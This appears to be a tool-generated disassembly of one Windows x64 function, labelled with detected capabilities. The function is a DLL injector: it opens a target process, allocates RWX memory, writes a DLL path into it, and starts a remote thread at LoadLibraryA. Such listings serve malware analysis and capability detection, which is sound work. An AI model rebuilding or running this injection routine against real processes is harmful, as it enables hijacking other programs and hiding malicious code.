Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xd0
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call dbg.__main
movabs rax, 0x73726573555c3a63
movabs rdx, 0x445c736163756c5c
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rdx
movabs rax, 0x73746e656d75636f
movabs rdx, 0x6279635c7665445c
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rdx
movabs rax, 0x5f635c6365737265
movabs rdx, 0x5c73656c75646f6d
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
movabs rax, 0x656a6e695f6c6c64
movabs rdx, 0x796d5c6e6f697463
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
movabs rax, 0x6c6c642e6c6c64
mov qword [rbp - 0x40], rax
cmp dword [rbp + 0x10], 3
je 0x140001558
lea rax, str.Usage_:_injector__process_id___dll_path_
mov rcx, rax
call sym.printf
mov ecx, 1
call sym.exit
mov dword [rbp - 4], 0x49
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
test eax, eax
jg 0x14000159d
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov rdx, rax
lea rax, str.Invalid_process_ID_:__i
mov rcx, rax
call sym.printf
mov ecx, 1
call sym.exit
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov edx, eax
mov ecx, dword [rbp - 4]
lea rax, [rbp - 0x80]
mov r9d, edx
mov r8d, ecx
mov rdx, rax
lea rax, str.Injecting__s_of_size__i_into_process__i_n
mov rcx, rax
call sym.printf
lea rax, str.Kernel32
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
lea rdx, str.LoadLibraryA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x18], rax
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x14000165b
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_open_process_:__i
mov rcx, rax
call sym.printf
mov ecx, 1
call sym.exit
mov edx, dword [rbp - 4]
mov rax, qword [rbp - 0x20]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x28], rax
cmp qword [rbp - 0x28], 0
jne 0x1400016b3
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Buffer_allocation_failed_:__i
mov rcx, rax
call sym.printf
mov ecx, 1
call sym.exit
mov r9d, dword [rbp - 4]
lea r8, [rbp - 0x80]
mov rdx, qword [rbp - 0x28]
mov rax, qword [rbp - 0x20]
lea rcx, [rbp - 0x88]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
jne 0x140001703
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Process_memory_write_failed_:__i
mov rcx, rax
call sym.printf
mov ecx, 1
call sym.exit
mov rax, qword [rbp - 0x88]
mov rdx, rax
lea rax, str.Process_memory_write_succeeded_with__i_bytes_written_n
mov rcx, rax
call sym.printf
mov rcx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rdx, qword [rbp - 0x28]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, str.Injection_completed_successfully
mov rcx, rax
call sym.printf
mov eax, 0
add rsp, 0xd0
pop rbp
ret